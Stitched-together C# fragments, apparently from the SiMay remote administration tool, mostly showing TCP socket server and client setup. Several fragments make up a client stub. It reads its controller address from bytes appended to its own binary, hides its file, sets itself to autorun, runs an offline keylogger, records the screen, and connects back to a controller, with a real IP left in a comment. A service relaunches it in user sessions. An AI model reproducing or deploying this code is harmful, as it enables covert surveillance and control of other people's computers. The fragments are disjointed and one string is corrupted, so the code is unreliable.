internal TcpSocketSessionProviderHandle( SessionProviderOptions options, OnSessionNotify <SessionCompletedNotify, SessionProviderContext> onSessionNotifyProc) : base(onSessionNotifyProc) { _options = options; var serverConfig = new TcpSocketSaeaServerConfiguration(); serverConfig.AppKeepAlive = true; serverConfig.CompressTransferFromPacket = false; serverConfig.PendingConnectionBacklog = options.PendingConnectionBacklog; _server = TcpSocketsFactory.CreateServerAgent(TcpSocketSaeaSessionType.Packet, serverConfig, (notify, session) => { switch (notify) { case TcpSocketCompletionNotify.OnConnected: var sessionBased = new TcpSocketSessionBased(session); session.AppTokens = new object[] { sessionBased }; _onSessionNotifyProc(SessionCompletedNotify.OnConnected, sessionBased); break; case TcpSocketCompletionNotify.OnSend: _onSessionNotifyProc(SessionCompletedNotify.OnSend, session.AppTokens[0] as SessionProviderContext); break; case TcpSocketCompletionNotify.OnDataReceiveing: _onSessionNotifyProc(SessionCompletedNotify.OnRecv, session.AppTokens[0] as SessionProviderContext); break; case TcpSocketCompletionNotify.OnDataReceived: _onSessionNotifyProc(SessionCompletedNotify.OnReceived, session.AppTokens[0] as SessionProviderContext); break; case TcpSocketCompletionNotify.OnClosed: _onSessionNotifyProc(SessionCompletedNotify.OnClosed, session.AppTokens[0] as SessionProviderContext); break; default: break; } }); }
/// <summary> /// session代理提供器构造函数 /// </summary> /// <param name="options">代理配置设置</param> /// <param name="onSessionNotifyProc">session事件通知</param> /// <param name="onProxyNotify">代理事件通知</param> internal TcpProxySessionProvider(SessionProviderOptions options) { ApplicationConfiguartion.SetOptions(options); var clientConfig = new TcpSocketSaeaClientConfiguration(); clientConfig.ReuseAddress = true; clientConfig.KeepAlive = true; clientConfig.KeepAliveInterval = 5000; clientConfig.KeepAliveSpanTime = 1000; //不启用压缩 clientConfig.CompressTransferFromPacket = false; //停用应用心跳检测线程 clientConfig.AppKeepAlive = false; _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, (notify, session) => { switch (notify) { case TcpSessionNotify.OnConnected: this.ConnectedHandler(session); break; case TcpSessionNotify.OnSend: this.OnSend(session); break; case TcpSessionNotify.OnDataReceived: this.OnMessageHandler(session); break; case TcpSessionNotify.OnClosed: this.OnClosed(session); break; default: break; } }); }
internal TcpProxySessionProviderHandle( SessionProviderOptions options, OnSessionNotify <SessionCompletedNotify, SessionHandler> onSessionNotifyProc, OnProxyNotify <ProxyNotify> onProxyNotify) : base(onSessionNotifyProc) { _options = options; _onProxyNotify = onProxyNotify; var clientConfig = new TcpSocketSaeaClientConfiguration(); clientConfig.ReuseAddress = true; clientConfig.KeepAlive = true; clientConfig.KeepAliveInterval = 5000; clientConfig.KeepAliveSpanTime = 1000; _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Full, clientConfig, (notify, session) => { switch (notify) { case TcpSocketCompletionNotify.OnConnected: this.ConnectionProcess(session); break; case TcpSocketCompletionNotify.OnSend: this.OnSend(session); break; case TcpSocketCompletionNotify.OnDataReceiveing: this.PacketProcess(session); break; case TcpSocketCompletionNotify.OnClosed: this.OnClosed(session); break; default: break; } }); }
public bool StartService() { var serverConfig = new TcpSocketSaeaServerConfiguration(); serverConfig.ReuseAddress = false; serverConfig.KeepAlive = true; serverConfig.KeepAliveInterval = 5000; serverConfig.KeepAliveSpanTime = 1000; serverConfig.PendingConnectionBacklog = 0; var ipe = new IPEndPoint(IPAddress.Parse(ApplicationConfiguartion.LocalAddress), ApplicationConfiguartion.ServicePort); _tcpSaeaServer = TcpSocketsFactory.CreateServerAgent(TcpSocketSaeaSessionType.Full, serverConfig, (notify, session) => { switch (notify) { case TcpSocketCompletionNotify.OnConnected: ApportionDispatcher apportionDispatcher = new ApportionDispatcher(); apportionDispatcher.ApportionTypeHandlerEvent += ApportionTypeHandlerEvent; apportionDispatcher.SetSession(session); break; case TcpSocketCompletionNotify.OnSend: break; case TcpSocketCompletionNotify.OnDataReceiveing: this.OnDataReceiveingHandler(session); break; case TcpSocketCompletionNotify.OnClosed: this.OnClosedHandler(session); break; default: break; } }); return(true); }
internal TcpSocketSessionProvider(SessionProviderOptions options) { ApplicationConfiguartion.SetOptions(options); var serverConfig = new TcpSocketSaeaServerConfiguration(); serverConfig.AppKeepAlive = true; serverConfig.CompressTransferFromPacket = false; serverConfig.PendingConnectionBacklog = ApplicationConfiguartion.Options.PendingConnectionBacklog; _server = TcpSocketsFactory.CreateServerAgent(TcpSocketSaeaSessionType.Packet, serverConfig, (notify, session) => { switch (notify) { case TcpSessionNotify.OnConnected: SessionProviderContext sessionBased = new TcpSocketSessionContext(session); this.SessionNotify(sessionBased, TcpSessionNotify.OnConnected); break; case TcpSessionNotify.OnSend: this.SessionNotify(session.AppTokens.First().ConvertTo <SessionProviderContext>(), TcpSessionNotify.OnSend); break; case TcpSessionNotify.OnDataReceiveing: this.SessionNotify(session.AppTokens.First().ConvertTo <SessionProviderContext>(), TcpSessionNotify.OnDataReceiveing); break; case TcpSessionNotify.OnDataReceived: this.SessionNotify(session.AppTokens.First().ConvertTo <SessionProviderContext>(), TcpSessionNotify.OnDataReceived); break; case TcpSessionNotify.OnClosed: this.SessionNotify(session.AppTokens.First().ConvertTo <SessionProviderContext>(), TcpSessionNotify.OnClosed); break; default: break; } }); }
private void Form1_Load(object sender, EventArgs e) { //模式说明 //Full模式:仅接收发送数据(高性能的数据接收模型,可启用TcpKeepAlive选项)注:数据压缩丶AppKeepAlive选项在Full模式下启用无效 //Pack模式:自动处理分包(高性能的数据接收模型,自动处理分包,可启用数据压缩丶应用层心跳包丶TcpKeepAlive选项) //设置在Socket初始化后无法修改 TcpSocketSaeaClientConfiguration clientConfig = new TcpSocketSaeaClientConfiguration(); clientConfig.KeepAlive = false; clientConfig.AppKeepAlive = true; client = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, Client_CompletetionNotify); TcpSocketSaeaServerConfiguration serverConfig = new TcpSocketSaeaServerConfiguration(); serverConfig.KeepAlive = false; serverConfig.AppKeepAlive = true; server = TcpSocketsFactory.CreateServerAgent(TcpSocketSaeaSessionType.Packet, serverConfig, Server_CompletetionNotify); }
private void InitConntectTrunkService() { var clientConfig = new TcpSocketSaeaClientConfiguration(); _socketSaeaClientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, (notity, session) => { switch (notity) { case TcpSocketCompletionNotify.OnConnected: LogHelper.DebugWriteLog("InitConntectTrunkService:OnClosed"); _trunkTcpSession = session; SendActiveFlag(); break; case TcpSocketCompletionNotify.OnSend: break; case TcpSocketCompletionNotify.OnDataReceiveing: break; case TcpSocketCompletionNotify.OnDataReceived: _handlerBinder.InvokePacketHandler(session, session.CompletedBuffer.GetMessageHead <TrunkMessageHead>(), this); break; case TcpSocketCompletionNotify.OnClosed: LogHelper.DebugWriteLog("InitConntectTrunkService:OnClosed"); _trunkTcpSession = null; _autoReset.Set(); SessionCloseHandler(); break; default: break; } }); }
static void Main(string[] args) { _startParameter = new StartParameter() { Host = "127.0.0.1", Port = 5200, GroupName = "默认分组", RemarkInformation = "SiMayService远程管理", IsHide = false, IsMutex = false, IsAutoStart = false, SessionMode = 0, AccessKey = 5200, ServiceVersion = "正式5.0", RunTimeText = DateTime.Now.ToString(), UniqueId = "AAAAAAAAAAAAAAA11111111" }; //_startParameter.Host = "94.191.115.121"; byte[] binary = File.ReadAllBytes(Application.ExecutablePath); var sign = BitConverter.ToInt16(binary, binary.Length - sizeof(Int16)); if (sign == 9999) { var length = BitConverter.ToInt32(binary, binary.Length - sizeof(Int16) - sizeof(Int32)); byte[] bytes = new byte[length]; Array.Copy(binary, binary.Length - sizeof(Int16) - sizeof(Int32) - length, bytes, 0, length); int index = 0; int id_len = BitConverter.ToInt32(bytes, index); index += sizeof(int); string id = Encoding.Unicode.GetString(bytes, index, id_len); index += id_len; int host_len = BitConverter.ToInt32(bytes, index); index += sizeof(int); string host = Encoding.Unicode.GetString(bytes, index, host_len); index += host_len; int port = BitConverter.ToInt32(bytes, index); index += sizeof(int); int des_len = BitConverter.ToInt32(bytes, index); index += sizeof(int); string des = Encoding.Unicode.GetString(bytes, index, des_len); index += des_len; int group_len = BitConverter.ToInt32(bytes, index); index += sizeof(int); string groupName = Encoding.Unicode.GetString(bytes, index, group_len); index += group_len; bool isHide = BitConverter.ToBoolean(bytes, index); index += sizeof(bool); bool isAutoStart = BitConverter.ToBoolean(bytes, index); index += sizeof(bool); int sessionMode = BitConverter.ToInt32(bytes, index); index += sizeof(int); int accessKey = BitConverter.ToInt32(bytes, index); index += sizeof(int); bool isMutex = BitConverter.ToBoolean(bytes, index); index += sizeof(bool); _startParameter.Host = host; _startParameter.Port = port; _startParameter.RemarkInformation = des; _startParameter.IsAutoStart = isAutoStart; _startParameter.IsHide = isHide; _startParameter.AccessKey = accessKey; _startParameter.SessionMode = sessionMode; _startParameter.UniqueId = id; _startParameter.IsMutex = isMutex; _startParameter.GroupName = groupName; } if (_startParameter.IsMutex) { //进程互斥体 Mutex MyMutex = new Mutex(true, "SiMayService", out var bExist); if (!bExist) { Environment.Exit(0); } } if (_startParameter.IsHide) { CommonHelper.SetExecutingFileHide(true); } if (_startParameter.IsAutoStart) { CommonHelper.SetAutoRun(true); } Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); Application.ThreadException += Application_ThreadException; AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; AppDomain.CurrentDomain.AssemblyResolve += (s, p) => { var key = p.Name.Split(',')[0] + ".dll"; var assembly = Assembly.Load(_pluginCOMs[key]); _pluginCOMs.Remove(key); return(assembly); }; var clientConfig = new TcpSocketSaeaClientConfiguration(); if (_startParameter.SessionMode == 0) { //服务版配置 clientConfig.AppKeepAlive = true; clientConfig.KeepAlive = false; } else { //中间服务器版服务端配置 clientConfig.AppKeepAlive = false; clientConfig.KeepAlive = true; } clientConfig.KeepAliveInterval = 5000; clientConfig.KeepAliveSpanTime = 1000; _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, Notify); while (true) //第一次解析域名,直至解析成功 { var ip = CommonHelper.GetHostByName(_startParameter.Host); if (ip != null) { _iPEndPoint = new IPEndPoint(IPAddress.Parse(ip), _startParameter.Port); break; } Console.WriteLine(_startParameter.Host ?? "address analysis is null"); Thread.Sleep(5000); } ConnectToServer(); Application.Run(); }
public MainService() { if (AppConfiguartion.IsHideExcutingFile) { ComputerSessionHelper.SetExecutingFileHide(true); } if (AppConfiguartion.IsAutoRun) { ComputerSessionHelper.SetAutoRun(true); } if (!int.TryParse(AppConfiguartion.ScreenRecordHeight, out _screen_record_height)) { _screen_record_height = 800; } if (!int.TryParse(AppConfiguartion.ScreenRecordWidth, out _screen_record_width)) { _screen_record_width = 1200; } if (!int.TryParse(AppConfiguartion.ScreenRecordSpanTime, out _screen_record_spantime)) { _screen_record_spantime = 3000; } bool bKeyboardOffline; if (!bool.TryParse(AppConfiguartion.KeyboardOffline, out bKeyboardOffline)) { bKeyboardOffline = false; } if (bKeyboardOffline) { Keyboard _keyboard = Keyboard.GetKeyboardInstance(); _keyboard.Initialization(); _keyboard.StartOfflineRecords();//开始离线记录 } //创建通讯接口实例 var clientConfig = new TcpSocketSaeaClientConfiguration(); if (!AppConfiguartion.IsCentreServiceMode) { //服务版配置 clientConfig.AppKeepAlive = true; clientConfig.KeepAlive = false; } else { //中间服务器版服务端配置 clientConfig.AppKeepAlive = false; clientConfig.KeepAlive = true; } clientConfig.KeepAliveInterval = 5000; clientConfig.KeepAliveSpanTime = 1000; _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, CompletetionNotify); ConnectToServer(); }
protected override void OnStart(string[] args) { var serverConfig = new TcpSocketSaeaServerConfiguration(); serverConfig.AppKeepAlive = true; serverConfig.PendingConnectionBacklog = 0; var trunkService = TcpSocketsFactory.CreateServerAgent(TcpSocketSaeaSessionType.Packet, serverConfig, (notity, session) => { switch (notity) { case TcpSessionNotify.OnConnected: LogHelper.DebugWriteLog("OnConnected"); break; case TcpSessionNotify.OnSend: break; case TcpSessionNotify.OnDataReceiveing: break; case TcpSessionNotify.OnDataReceived: _handlerBinder.InvokePacketHandler(session, session.CompletedBuffer.GetMessageHead <TrunkMessageHead>(), this); break; case TcpSessionNotify.OnClosed: this.SessionClosedHandler(session); break; default: break; } }); bool completed = false; for (int trycount = 0; trycount < 100; trycount++) { try { _port = 10000 + trycount; var ipEndPoint = new IPEndPoint(IPAddress.Parse("127.0.0.1"), _port); trunkService.Listen(ipEndPoint); completed = true; break; } catch (Exception ex) { LogHelper.WriteErrorByCurrentMethod("trunkService open listen exception:" + ex.Message); } completed = false; Thread.Sleep(1000); } if (!completed) { LogHelper.WriteErrorByCurrentMethod("listen all tcp port not completed,please check!"); Environment.Exit(0);//监听所有端口失败 } // Obtain session ID for active session. uint dwSessionId = Kernel32.WTSGetActiveConsoleSessionId(); // Check for RDP session. If active, use that session ID instead. var rdpSessionID = Win32Interop.GetRDPSession(); if (rdpSessionID > 0) { dwSessionId = rdpSessionID; } this.CreateProcessAsUser(dwSessionId, true); ThreadHelper.CreateThread(() => { while (_isRun) { lock (_lock) for (int i = 0; i < _userProcessSessionIdList.Count; i++) { var token = _userProcessSessionIdList[i]; if (token.Actived) { continue; } LogHelper.DebugWriteLog("!Actived:" + token.SessionId); if ((int)(DateTime.Now - token.LastActiveTime).TotalSeconds > 5) //如果用户进程5秒内未重新激活 { bool completed = this.CreateProcessAsUser((uint)token.SessionId); //可能用户进程已结束,重新启动用户进程 LogHelper.DebugWriteLog("Restart ProcessAsUser:"******"Restart ProcessAsUser activeSessionId:" + activeSessionId + " status:" + isOk); } continue; } token.LastActiveTime = DateTime.Now;//延迟最后时间,给用户进程足够时间激活 } } Thread.Sleep(1000); } }, true); }
private void SessionProviderService_Load(object sender, EventArgs e) { this.Text = "SiMay中间会话服务-IOASJHD BEAT " + System.Reflection.Assembly.GetExecutingAssembly().GetName().Version.ToString(); IntPtr sysMenuHandle = GetSystemMenu(this.Handle, false); InsertMenu(sysMenuHandle, 7, MF_SEPARATOR, 0, null); InsertMenu(sysMenuHandle, 8, MF_BYPOSITION, IDM_OPTIONS, "系统设置"); InsertMenu(sysMenuHandle, 9, MF_BYPOSITION, IDM_RUNLOG, "运行日志"); _log_imgList = new ImageList(); _log_imgList.Images.Add("ok", Resources.ok); _log_imgList.Images.Add("err", Resources.erro); logList.SmallImageList = _log_imgList; string address = ApplicationConfiguration.IPAddress; string port = ApplicationConfiguration.Port; this.lableIPAddress.Text = address; this.labelPort.Text = port; this.lableStatrTime.Text = DateTime.Now.ToString(); var ipe = new IPEndPoint(IPAddress.Parse(address), int.Parse(port)); var serverConfig = new TcpSocketSaeaServerConfiguration(); serverConfig.ReuseAddress = false; serverConfig.KeepAlive = true; serverConfig.KeepAliveInterval = 5000; serverConfig.KeepAliveSpanTime = 1000; serverConfig.PendingConnectionBacklog = int.Parse(ApplicationConfiguration.Backlog); _server = TcpSocketsFactory.CreateServerAgent(TcpSocketSaeaSessionType.Full, serverConfig, (notify, session) => { switch (notify) { case TcpSocketCompletionNotify.OnConnected: _connectionCount++; this.Invoke(new Action(() => { this.lableConnectionCount.Text = _connectionCount.ToString(); })); //创建通道上下文,等待确认通道类型 TcpChannelContext context = new TcpChannelContext(session); context.OnChannelTypeNotify += Context_TcpAwaitnotifyProc; _channelContexts.Add(context); break; case TcpSocketCompletionNotify.OnSend: this._uploadTransferBytes += session.SendTransferredBytes; break; case TcpSocketCompletionNotify.OnDataReceiveing: this._receiveTransferBytes += session.ReceiveBytesTransferred; ((TcpChannelContext)session.AppTokens[0]).OnMessage(session); break; case TcpSocketCompletionNotify.OnClosed: _connectionCount--; this.Invoke(new Action(() => { this.lableConnectionCount.Text = _connectionCount.ToString(); })); this.SessionClosed(session); break; default: break; } }); try { _server.Listen(ipe); LogShowQueueHelper.WriteLog("SiMay中间会话服务端口" + port + "启动成功!"); } catch { LogShowQueueHelper.WriteLog("SiMay中间会话服务端口" + port + "启动失败!", "err"); } System.Timers.Timer timer = new System.Timers.Timer(); timer.Interval = 100; timer.Elapsed += Timer_Elapsed; timer.Start(); System.Timers.Timer flow_timer = new System.Timers.Timer(); flow_timer.Interval = 1000; flow_timer.Elapsed += Flow_timer_Elapsed; flow_timer.Start(); }
public MainService(StartParameterEx startParameter) { while (true) //第一次解析域名,直至解析成功 { var ip = IPHelper.GetHostByName(startParameter.Host); if (ip != null) { AppConfiguartion.ServerIPEndPoint = new IPEndPoint(IPAddress.Parse(ip), startParameter.Port); break; } Console.WriteLine(startParameter.Host ?? "address analysis is null"); Thread.Sleep(5000); } AppConfiguartion.HostAddress = startParameter.Host; AppConfiguartion.HostPort = startParameter.Port; AppConfiguartion.AccessKey = startParameter.AccessKey; AppConfiguartion.DefaultRemarkInfo = startParameter.RemarkInformation; AppConfiguartion.DefaultGroupName = startParameter.GroupName; AppConfiguartion.IsAutoRun = startParameter.IsAutoStart; AppConfiguartion.IsHideExcutingFile = startParameter.IsHide; AppConfiguartion.RunTime = startParameter.RunTimeText; AppConfiguartion.Version = startParameter.ServiceVersion; AppConfiguartion.CenterServiceMode = startParameter.SessionMode == 1 ? true : false; AppConfiguartion.IdentifyId = startParameter.UniqueId; if (AppConfiguartion.IsHideExcutingFile) { SystemSessionHelper.SetExecutingFileHide(true); } if (AppConfiguartion.IsAutoRun) { SystemSessionHelper.SetAutoRun(true); } _screen_record_height = AppConfiguartion.ScreenRecordHeight; _screen_record_width = AppConfiguartion.ScreenRecordWidth; _screen_record_spantime = AppConfiguartion.ScreenRecordSpanTime; //创建通讯接口实例 var clientConfig = new TcpSocketSaeaClientConfiguration(); if (!AppConfiguartion.CenterServiceMode) { //服务版配置 clientConfig.AppKeepAlive = true; clientConfig.KeepAlive = false; } else { //中间服务器版服务端配置 clientConfig.AppKeepAlive = false; clientConfig.KeepAlive = true; } clientConfig.KeepAliveInterval = 5000; clientConfig.KeepAliveSpanTime = 1000; clientConfig.CompressTransferFromPacket = false; _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, Notify); ConnectToServer(); }
public bool StartService(StartServiceOptions options) { ApplicationConfiguartion.SetOptions(options); var serverConfig = new TcpSocketSaeaServerConfiguration(); serverConfig.ReuseAddress = false; serverConfig.KeepAlive = true; serverConfig.KeepAliveInterval = 5000; serverConfig.KeepAliveSpanTime = 1000; serverConfig.PendingConnectionBacklog = 0; var ipe = new IPEndPoint(IPAddress.Parse(ApplicationConfiguartion.Options.LocalAddress), ApplicationConfiguartion.Options.ServicePort); _tcpSaeaServer = TcpSocketsFactory.CreateServerAgent(TcpSocketSaeaSessionType.Full, serverConfig, (notify, session) => { if (SynchronizationContext.IsNull()) { NotifyProc(null); } else { SynchronizationContext.Send(NotifyProc, null); } void NotifyProc(object @object) { switch (notify) { case TcpSessionNotify.OnConnected: ApportionDispatcher apportionDispatcher = new ApportionDispatcher(); apportionDispatcher.ApportionTypeHandlerEvent += ApportionTypeHandlerEvent; apportionDispatcher.LogOutputEventHandler += ApportionDispatcher_LogOutputEventHandler; apportionDispatcher.SetSession(session); break; case TcpSessionNotify.OnSend: break; case TcpSessionNotify.OnDataReceiveing: this.OnDataReceiveingHandler(session); break; case TcpSessionNotify.OnClosed: this.OnClosedHandler(session); break; default: break; } } }); try { _tcpSaeaServer.Listen(ipe); LogOutputEventHandler?.Invoke(LogOutLevelType.Debug, $"SiMay中间会话服务器监听 {ipe.Port} 端口启动成功!"); return(true); } catch (Exception ex) { LogOutputEventHandler?.Invoke(LogOutLevelType.Error, $"SiMay中间会话服务器启动发生错误,端口:{ipe.Port} 错误信息:{ex.Message}!"); return(false); } }